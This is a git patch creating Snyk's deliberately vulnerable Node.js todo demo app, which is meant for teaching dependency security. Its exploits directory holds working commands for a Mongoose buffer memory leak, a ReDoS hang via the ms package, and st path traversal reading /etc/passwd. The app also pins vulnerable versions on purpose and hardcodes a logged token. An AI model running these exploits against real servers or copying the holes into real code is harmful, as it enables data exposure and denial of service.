From dd59c142a7267f60d57d9f2945381b527d239881 Mon Sep 17 00:00:00 2001 From: Danny Grander Date: Mon, 21 Mar 2016 15:54:51 +0200 Subject: [PATCH] feat: initial commit --- .gitignore | 8 ++ README.md | 39 ++++++ app.js | 56 ++++++++ db.js | 10 ++ exploits/mongoose-exploits.sh | 30 ++++ exploits/ms-exploits.sh | 8 ++ exploits/st-exploit.sh | 14 ++ package.json | 31 +++++ public/about.html | 4 + public/css/screen.css | 253 ++++++++++++++++++++++++++++++++++ public/favicon.ico | Bin 0 -> 1150 bytes public/images/delete.png | Bin 0 -> 715 bytes public/images/dreamerslab.png | Bin 0 -> 742 bytes public/js/ga.js | 5 + public/robots.txt | 1 + routes/index.js | 105 ++++++++++++++ utils.js | 28 ++++ views/edit.ejs | 33 +++++ views/index.ejs | 18 +++ views/layout.ejs | 23 ++++ 20 files changed, 666 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 app.js create mode 100644 db.js create mode 100644 exploits/mongoose-exploits.sh create mode 100644 exploits/ms-exploits.sh create mode 100644 exploits/st-exploit.sh create mode 100644 package.json create mode 100644 public/about.html create mode 100644 public/css/screen.css create mode 100644 public/favicon.ico create mode 100644 public/images/delete.png create mode 100644 public/images/dreamerslab.png create mode 100644 public/js/ga.js create mode 100644 public/robots.txt create mode 100644 routes/index.js create mode 100644 utils.js create mode 100644 views/edit.ejs create mode 100644 views/index.ejs create mode 100644 views/layout.ejs diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000..140d96049c --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +.DS_Store +node_modules +*.sock + +.sass-cache +sass +config.rb +npm-debug.log diff --git a/README.md b/README.md new file mode 100644 index 0000000000..0c85ad96e7 --- /dev/null +++ b/README.md @@ -0,0 +1,39 @@ +## Snyk's vulnerable todo list app +[![Known Vulnerabilities](https://snyk.io/test/github/snyk/snyk-demo-todo/badge.svg?style=flat-square)](https://snyk.io/test/github/snyk/snyk-demo-todo) + +A vulnerable Node.js demo application, based on the [Dreamers Lab tutorial](http://dreamerslab.com/blog/en/write-a-todo-list-with-express-and-mongodb/). + +### Running +```bash +mongod & + +git clone https://github.com/Snyk/snyk-demo-todo +npm install +npm start +``` +### Cleanup +To bulk delete the current list of TODO items from the DB run: +```bash +npm run cleanup +``` + +### Exploiting the vulnerabilities + +This app uses npm dependencies holding known vulnerabilities. + +Here are the exploitable vulnerable packages: +- [Mongoose - Buffer Memory Exposure](https://snyk.io/vuln/npm:mongoose:20160116) +- [st - Directory Traversal](https://snyk.io/vuln/npm:st:20140206) +- [ms - ReDoS](https://app.snyk.io/vuln/npm:ms:20151024) + +The `exploits` directory includes a series of steps to demonstrate each one. + +### Fixing the issues +To find these flaws in this application (and in your own apps), run: +``` +npm install -g snyk +snyk wizard +``` + +In this application, the default `snyk wizard` answers will fix all the issues. +When the wizard is done, restart the application and run the exploits again to confirm they are fixed. diff --git a/app.js b/app.js new file mode 100644 index 0000000000..ef34add231 --- /dev/null +++ b/app.js @@ -0,0 +1,56 @@ +/** + * Module dependencies. + */ + +// mongoose setup +require('./db'); + +var st = require('st'); +var crypto = require('crypto'); +var express = require('express'); +var http = require('http'); +var path = require('path'); +var engine = require('ejs-locals'); +var cookieParser = require('cookie-parser'); +var bodyParser = require('body-parser'); +var methodOverride = require('method-override'); +var logger = require('morgan'); +var errorHandler = require('errorhandler'); +var optional = require('optional'); + +var app = express(); +var routes = require('./routes'); + +// all environments +app.set('port', process.env.PORT || 3001); +app.engine('ejs', engine); +app.set('views', path.join(__dirname, 'views')); +app.set('view engine', 'ejs'); +app.use(logger('dev')); +app.use(methodOverride()); +app.use(cookieParser()); +app.use(bodyParser.json()); +app.use(bodyParser.urlencoded({ extended: false })); + +// Routes +app.use(routes.current_user); +app.get('/', routes.index); +app.post('/create', routes.create); +app.get('/destroy/:id', routes.destroy); +app.get('/edit/:id', routes.edit); +app.post('/update/:id', routes.update); + +// Static +app.use(st({path: './public', url: '/public'})); + +// development only +if (app.get('env') == 'development') { + app.use(errorHandler()); +} + +var token = 'SECRET_TOKEN_f8ed84e8f41e4146403dd4a6bbcea5e418d23a9'; +console.log('token: ' + token); + +http.createServer(app).listen(app.get('port'), function() { + console.log('Express server listening on port ' + app.get('port')); +}); diff --git a/db.js b/db.js new file mode 100644 index 0000000000..211d352aca --- /dev/null +++ b/db.js @@ -0,0 +1,10 @@ +var mongoose = require('mongoose'); +var Schema = mongoose.Schema; + +var Todo = new Schema({ + content : Buffer, + updated_at : Date +}); + +mongoose.model('Todo', Todo); +mongoose.connect('mongodb://localhost/express-todo'); diff --git a/exploits/mongoose-exploits.sh b/exploits/mongoose-exploits.sh new file mode 100644 index 0000000000..e439fa2bd4 --- /dev/null +++ b/exploits/mongoose-exploits.sh @@ -0,0 +1,30 @@ +### Note: these exploits use the httpie command line utility + +# start +http http://target:3001/ --headers + +# Works as advertised +echo 'content=Buy Beer' | http --form http://target:3001/create -v + +# Works with json +echo '{"content":"Fix the bike"}' | http --json http://target:3001/create -v + +# Works with number string +echo '{"content":"800"}' | http --json http://target:3001/create -v + +# Exploit start - integer +echo '{"content":800}' | http --json http://target:3001/create -v + +# Switch to only showing the response body +echo '{"content":800}' | http --json http://target:3001/create -b +echo '{"content":800}' | http --json http://target:3001/create -b | base64 -D + +# Repeatedly extract memory +# window 1 +repeat 1000 echo '{"content":800}' | http --json http://target:3001/create -b | base64 -D >> leakedmem.bin + +# window 2 - see strings in the response +tail -f leakedmem.bin | strings + +# window 3 - see a memory dum in the response +tail -f leakedmem.bin | xxd -c 32 -g 32 diff --git a/exploits/ms-exploits.sh b/exploits/ms-exploits.sh new file mode 100644 index 0000000000..0a964da29c --- /dev/null +++ b/exploits/ms-exploits.sh @@ -0,0 +1,8 @@ +# Working via curl +echo 'content=Call mom in 20 minutes' | http --form http://target:3001/create -v + +# Works with long string that matches +echo 'content=Buy milk in '`printf "%.0s5" {1..60000}`' minutes' | http --form http://target:3001/create -v + +# Hangs with long string that doesn't match +echo 'content=Buy milk in '`printf "%.0s5" {1..60000}`' minutea' | http --form http://target:3001/create -v diff --git a/exploits/st-exploit.sh b/exploits/st-exploit.sh new file mode 100644 index 0000000000..db379e1548 --- /dev/null +++ b/exploits/st-exploit.sh @@ -0,0 +1,14 @@ +# Works as advertised +curl http://localhost:3001/public/about.html + +# Directory listing (not necessary) +curl http://localhost:3001/public/ + +# Failed ../ +curl http://localhost:3001/public/../../../ + +# Exploit start +curl http://localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/ + +# Exploit full +curl "http://localhost:3001/public/%2e%2e/%2e%2e/%2E%2E/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" diff --git a/package.json b/package.json new file mode 100644 index 0000000000..19cfea2c18 --- /dev/null +++ b/package.json @@ -0,0 +1,31 @@ +{ + "name": "snyk-todo-list-demo-app", + "version": "0.0.2", + "description": "A vulnerable todo demo application", + "homepage": "https://snyk.io/", + "repository": { + "type": "git", + "url": "https://github.com/Snyk/snyk-todo-list-demo-app/" + }, + "scripts": { + "start": "node app.js", + "cleanup": "mongo express-todo --eval 'db.todos.remove({});'" + }, + "dependencies": { + "body-parser": "1.9.0", + "cookie-parser": "1.3.3", + "ejs": "1.0.0", + "ejs-locals": "1.0.2", + "errorhandler": "1.2.0", + "express": "4.12.4", + "humanize-ms": "latest", + "method-override": "latest", + "mongoose": "4.2.4", + "morgan": "latest", + "ms": "^0.7.1", + "npmconf": "0.0.24", + "optional": "^0.1.3", + "st": "0.2.4", + "tap": "^5.7.0" + } +} diff --git a/public/about.html b/public/about.html new file mode 100644 index 0000000000..aeb1f003c8 --- /dev/null +++ b/public/about.html @@ -0,0 +1,4 @@ + + +

The BESTest todo app evar

+ diff --git a/public/css/screen.css b/public/css/screen.css new file mode 100644 index 0000000000..a1136fb1fb --- /dev/null +++ b/public/css/screen.css @@ -0,0 +1,253 @@ +/* line 17, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td, +article, aside, canvas, details, embed, +figure, figcaption, footer, header, hgroup, +menu, nav, output, ruby, section, summary, +time, mark, audio, video { + margin: 0; + padding: 0; + border: 0; + font-size: 100%; + font: inherit; + vertical-align: baseline; +} + +/* line 20, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +body { + line-height: 1; +} + +/* line 22, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +ol, ul { + list-style: none; +} + +/* line 24, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +table { + border-collapse: collapse; + border-spacing: 0; +} + +/* line 26, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +caption, th, td { + text-align: left; + font-weight: normal; + vertical-align: middle; +} + +/* line 28, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +q, blockquote { + quotes: none; +} +/* line 101, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +q:before, q:after, blockquote:before, blockquote:after { + content: ""; + content: none; +} + +/* line 30, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +a img { + border: none; +} + +/* line 114, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/reset/_utilities.scss */ +article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section, summary { + display: block; +} + +/* line 7, ../sass/screen.sass */ +body { + font: 14px "Lucida Grande", "Lucida Sans Unicode", sans-serif; +} + +/* line 10, ../sass/screen.sass */ +#page-title { + color: #666666; + background-color: #f8f8f8; + font-size: 32px; + line-height: 1.35; + padding: 20px 0; + text-align: center; + text-shadow: 0 1px 1px white; +} + +/* line 19, ../sass/screen.sass */ +.del-btn, .del-btn-edit { + display: inline; + float: right; + background: url("/public/images/delete.png") no-repeat bottom left; + font: 0/0 serif; + text-shadow: none; + color: transparent; + width: 16px; + height: 18px; +} + +/* line 28, ../sass/screen.sass */ +.del-btn-edit { + width: 20px; + height: 21px; +} + +/* line 32, ../sass/screen.sass */ +#list { + width: 283px; + margin: 0 auto; + padding: 20px 0 15px; + position: relative; +} + +/* line 38, ../sass/screen.sass */ +.item, .item-new { + overflow: hidden; + *zoom: 1; + background-color: #f9f9f9; + border: 1px solid #eeeeee; + border-radius: 6px 6px 6px 6px; + list-style: none outside none; + margin: 6px 0 0; + padding: 8px 9px 9px; + position: relative; + text-shadow: 1px 1px 0 white; + width: 250px; +} +/* line 49, ../sass/screen.sass */ +.item:hover, .item-new:hover { + border-color: #9be0f9; + box-shadow: 0 0 5px #a6d5fd; +} + +/* line 53, ../sass/screen.sass */ +.item-new { + padding: 4px 5px; + width: 258px; +} + +/* line 57, ../sass/screen.sass */ +.input, .update-input { + border: 1px solid #cccccc; + color: #666666; + font-family: "Lucida Grande", "Lucida Sans Unicode", sans-serif; + font-size: 15px; + padding: 3px 4px; + width: 248px; + height: 19px; +} + +/* line 66, ../sass/screen.sass */ +.update-input { + width: 220px; +} + +/* line 69, ../sass/screen.sass */ +.content { + color: #777777; + font-size: 1.2em; + text-shadow: 1px 1px 0 white; +} + +/* line 74, ../sass/screen.sass */ +.update-link { + display: inline; + float: left; + font-family: "Lucida Grande", "Lucida Sans Unicode", sans-serif; + color: #666666; + text-decoration: none; + overflow: hidden; + white-space: nowrap; + max-width: 15em; + text-overflow: ellipsis; +} +/* line 83, ../sass/screen.sass */ +.update-link:hover { + color: #333333; +} + +/* line 86, ../sass/screen.sass */ +.update-form { + display: inline; + float: left; +} + +/* line 89, ../sass/screen.sass */ +#footer-wrap { + background-color: #f8f8f8; +} + +/* line 92, ../sass/screen.sass */ +#footer { + overflow: hidden; + *zoom: 1; + width: 210px; + margin: 0 auto; + position: relative; + top: 17px; +} + +/* line 99, ../sass/screen.sass */ +#dreamerslab { + display: inline; + float: left; + font-family: Georgia; + background: url("/public/images/dreamerslab.png") no-repeat top left; + padding: 0 0 3px 16px; + color: #333333; + text-decoration: none; + font-weight: bold; +} +/* line 107, ../sass/screen.sass */ +#dreamerslab:hover { + text-decoration: underline; +} + +/* line 110, ../sass/screen.sass */ +.footer-content { + display: inline; + float: left; + color: #333333; + font-family: Georgia; + padding: 0 4px; +} + +/* line 116, ../sass/screen.sass */ +#github-link { + color: #666666; + text-decoration: none; +} +/* line 119, ../sass/screen.sass */ +#github-link:hover { + text-decoration: underline; +} + +/* line 10, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/layout/_sticky-footer.scss */ +html, body { + height: 100%; +} + +/* line 12, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/layout/_sticky-footer.scss */ +#layout { + clear: both; + min-height: 100%; + height: auto !important; + height: 100%; + margin-bottom: -48px; +} +/* line 18, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/layout/_sticky-footer.scss */ +#layout #layout-footer { + height: 48px; +} + +/* line 20, ../../../../../Users/fred/.rvm/gems/ruby-1.9.3-p0/gems/compass-0.12.1/frameworks/compass/stylesheets/compass/layout/_sticky-footer.scss */ +#footer-wrap { + clear: both; + position: relative; + height: 48px; +} diff --git a/public/favicon.ico b/public/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..57cb20de4d385b4930c49ef8ff6c3a0d4557a291 GIT binary patch literal 1150 zcmbu5Ye5;HX;!Ar$3`r>UWXwDfKX7cY<5ZqF~bPmrs&*lGn&V?Y1sA+CaP{W=O zm=J_Dd!lUC=C0dAle8Cu0!ye18RO3* zJyW-84gK0+*O-P-=atb!TP&2&pnJ%|vMLTgm3&NJbHZpAi5D4Mg(0^dE4a=<<$edW z({dIT@1DbQsV{zHJ7Fo+5mWqq(3bgO;bjB{)0k-BAFI^s(dKU~^0X=WB4c5;E)J`2 z3b3M##9}1}Gcs?CUU9=PZ$HKgN$A=$@g&4WqsO;;o8AgMs?yd4Lf2J+HMJ6dIufy} zgMs;~OPIMA zg&IL%wI09zmPcmB)hS_0Sx)lM`TocVl~c(wHZ_yaFT=iS&M%e7q(rioYGZnX8Xu zdo9>q0{NU>wIo*u1K7j z(Y707SW8byt|duwgXeHK%@UEw%uusaERPPb2;ulOQD<-5pT%OyF7v{ycG4T>{pl_W zsVL@E9G}}6%?s*GjtcGZXC4_c)a?{k6iKuvUF-_-GgF$&qC4}Mrzlg<+1Y8PEBfUp0jJpx4B>@E+cy3`^(Gw`Mf+2&yxZm<$to~Vpgvg&QKNR z_f#1(r6svZt%iF?s+n<8X?B&!h3g9Dbb8_=MX}!;HiQSAh`bp^WMl~Z-44teO7W_Y zV4thSL{h;rJY7!l3%5J4H1!tIzB`Dv+YxO(haWeausGZYkI8^hWj6mzo=L0{%;yxzh{5!Htr?51 zvG|W62MzC8BZ76hRpCyO2zOn<%e)K>NHge!-~)Ap33OdWw6hsLYbCxGNt0%wk_2z7 zfyYvXheSG)5HRK1VB~%mq7Dmurw#bi@hEcOr3&G1ZiF*$M=&9nB#VNf&Q^r$4G5kp zTURh&s)E0%5&hyVD}sp<72~zmAY`Y(9aqO6CXF%=zFHGzO-A&I(pE}v70YQxCPJ{Y z4L+?5-crdLn3ZRPEs!A4ehEY3ZRpL~w9>@aMN+{F4dI@v&>(QDHQum!mG~E^$OS8l z!7?%Uwib*ROP67Hw`ika)gX-(8Ia`-u_IEhxG7U<13kSsMW+$lbb2dUMm5p6pa}cjgA+U$^mJ^AjD?&bdi)8~y+Q002ovPDHLkV1g8IMc@Dc literal 0 HcmV?d00001 diff --git a/public/images/dreamerslab.png b/public/images/dreamerslab.png new file mode 100644 index 0000000000000000000000000000000000000000..550a73e66143a967d1977989c6a96afa79ebd9f8 GIT binary patch literal 742 zcmV6m&&cbVG7wVRUJ4ZXi@?ZDjy6FE%eRGJ>?+OaK4^KuJVF zR49>clD%tFVHm}K@9phP^U-Tk+9t&oq^Vkp1(g<&76;KuLsJv%0H9JQ+p_Sr_(`SHRI3i6LFMb*d@T$h>KhExX6)X5 zPMsXa?RFE5Mj06yMc12afKuP!^|3Eh_pGDf$geuG&`DKS_rNrK#j~P?vry((Z zn5@laDVy8mGX`h&`SBa5IoJFZ%Asq!{t3>x;8*P3s$)brE zpG?YYcis{_b`GD{gJo-^vJQ?VF>^)w2fT#BlJ65q&K|1l{L;&J3*34*#fJX~9pQEY zfd+cI8ZnBJsrVNDQjyDp7FRAD{`Y*5nKhnA7I~FW&^ixd=gO3wb%y(z8SNE}o(==> Y2TY;07*qoM6N<$g2mTH7ytkO literal 0 HcmV?d00001 diff --git a/public/js/ga.js b/public/js/ga.js new file mode 100644 index 0000000000..7ead4653d3 --- /dev/null +++ b/public/js/ga.js @@ -0,0 +1,5 @@ +// Change UA-XXXXX-X to be your site's ID +var _gaq=[['_setAccount','UA-XXXXX-X'],['_trackPageview']]; +(function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];g.async=1; +g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js'; +s.parentNode.insertBefore(g,s);}(document,'script')); \ No newline at end of file diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 0000000000..7d329b1db3 --- /dev/null +++ b/public/robots.txt @@ -0,0 +1 @@ +User-agent: * diff --git a/routes/index.js b/routes/index.js new file mode 100644 index 0000000000..bb146a9ffa --- /dev/null +++ b/routes/index.js @@ -0,0 +1,105 @@ +var utils = require('../utils'); +var mongoose = require('mongoose'); +var Todo = mongoose.model('Todo'); +// TODO: +var hms = require('humanize-ms'); +var ms = require('ms'); + +exports.index = function (req, res, next) { + Todo. + find({}). + sort('-updated_at'). + exec(function (err, todos) { + if (err) return next(err); + + res.render('index', { + title : 'TODO', + todos : todos + }); + }); +}; + +exports.create = function (req, res, next) { + // console.log('req.body: ' + JSON.stringify(req.body)); + + var remindToken = ' in '; + var reminder = req.body.content.toString().indexOf(remindToken); + if (reminder > 0) { + var time = req.body.content.slice(reminder + remindToken.length); + time = time.replace(/\n$/, ''); + + var period = hms(time); + + console.log('period: ' + period); + + // remove it + req.body.content = req.body.content.slice(0, reminder); + if (typeof period != 'undefined') { + req.body.content += ' [' + ms(period) + ']'; + } + } + + new Todo({ + content : req.body.content, + updated_at : Date.now() + }).save(function (err, todo, count) { + if (err) return next(err); + + /* + res.setHeader('Data', todo.content.toString('base64')); + res.redirect('/'); + */ + + res.setHeader('Location', '/'); + res.status(302).send(todo.content.toString('base64')); + + // res.redirect('/#' + todo.content.toString('base64')); + }); +}; + +exports.destroy = function (req, res, next) { + Todo.findById(req.params.id, function (err, todo) { + + try { + todo.remove(function(err, todo) { + if (err) return next(err); + res.redirect('/'); + }); + } catch(e) { + } + }); +}; + +exports.edit = function(req, res, next) { + Todo. + find({}). + sort('-updated_at'). + exec(function (err, todos) { + if (err) return next(err); + + res.render('edit', { + title : 'TODO', + todos : todos, + current : req.params.id + }); + }); +}; + +exports.update = function(req, res, next) { + Todo.findById(req.params.id, function (err, todo) { + + todo.content = req.body.content; + todo.updated_at = Date.now(); + todo.save(function (err, todo, count) { + if(err) return next(err); + + res.redirect('/'); + }); + }); +}; + +// ** express turns the cookie key to lowercase ** +exports.current_user = function (req, res, next) { + + next(); +}; diff --git a/utils.js b/utils.js new file mode 100644 index 0000000000..4ecf7d9aef --- /dev/null +++ b/utils.js @@ -0,0 +1,28 @@ +module.exports = { + + ran_no : function ( min, max ){ + return Math.floor( Math.random() * ( max - min + 1 )) + min; + }, + + uid : function ( len ){ + var str = ''; + var src = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; + var src_len = src.length; + var i = len; + + for( ; i-- ; ){ + str += src.charAt( this.ran_no( 0, src_len - 1 )); + } + + return str; + }, + + forbidden : function ( res ){ + var body = 'Forbidden'; + res.statusCode = 403; + + res.setHeader( 'Content-Type', 'text/plain' ); + res.setHeader( 'Content-Length', body.length ); + res.end( body ); + } +}; diff --git a/views/edit.ejs b/views/edit.ejs new file mode 100644 index 0000000000..22b15a8bdb --- /dev/null +++ b/views/edit.ejs @@ -0,0 +1,33 @@ +<% layout( 'layout' ) -%> + +

<%= title %>

+
+
+
+ +
+
+ +<% todos.forEach( function ( todo ){ %> + <% if( todo._id == current ){ %> +
+ <% }else{ %> +
+ <% } %> + + <% if( todo._id == current ){ %> +
+ +
+ <% }else{ %> + <%= todo.content %> + <% } %> + + <% if( todo._id == current ){ %> + Delete + <% }else{ %> + Delete + <% } %> +
+<% }); %> +
diff --git a/views/index.ejs b/views/index.ejs new file mode 100644 index 0000000000..6070ac9286 --- /dev/null +++ b/views/index.ejs @@ -0,0 +1,18 @@ +<% layout( 'layout' ) -%> + +

<%= title %>

+ +
+
+
+ +
+
+ +<% todos.forEach( function ( todo ){ %> + +<% }); %> +
diff --git a/views/layout.ejs b/views/layout.ejs new file mode 100644 index 0000000000..122c77be85 --- /dev/null +++ b/views/layout.ejs @@ -0,0 +1,23 @@ + + + + <%= title %> + + + + +
+ <%- body %> + +
+ + +